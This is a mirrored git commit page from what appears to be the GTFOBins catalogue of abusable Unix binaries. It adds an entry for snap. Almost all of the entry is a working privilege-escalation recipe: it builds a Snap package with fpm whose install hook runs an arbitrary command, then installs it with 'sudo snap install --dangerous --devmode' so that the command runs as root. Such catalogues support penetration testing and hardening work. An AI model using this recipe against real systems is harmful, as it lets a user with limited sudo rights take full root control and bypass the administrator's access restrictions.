mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add snap
This commit is contained in:
parent
6fda805b6a
commit
39027eb0c1
16
_gtfobins/snap.md
Normal file
16
_gtfobins/snap.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: |
|
||||||
|
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
|
||||||
|
```
|
||||||
|
COMMAND=id
|
||||||
|
cd $(mktemp -d)
|
||||||
|
mkdir -p meta/hooks
|
||||||
|
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
|
||||||
|
chmod +x meta/hooks/install
|
||||||
|
fpm -n x -s dir -t snap -a all meta
|
||||||
|
```
|
||||||
|
code: |
|
||||||
|
sudo snap install x_1.0_all.snap --dangerous --devmode
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user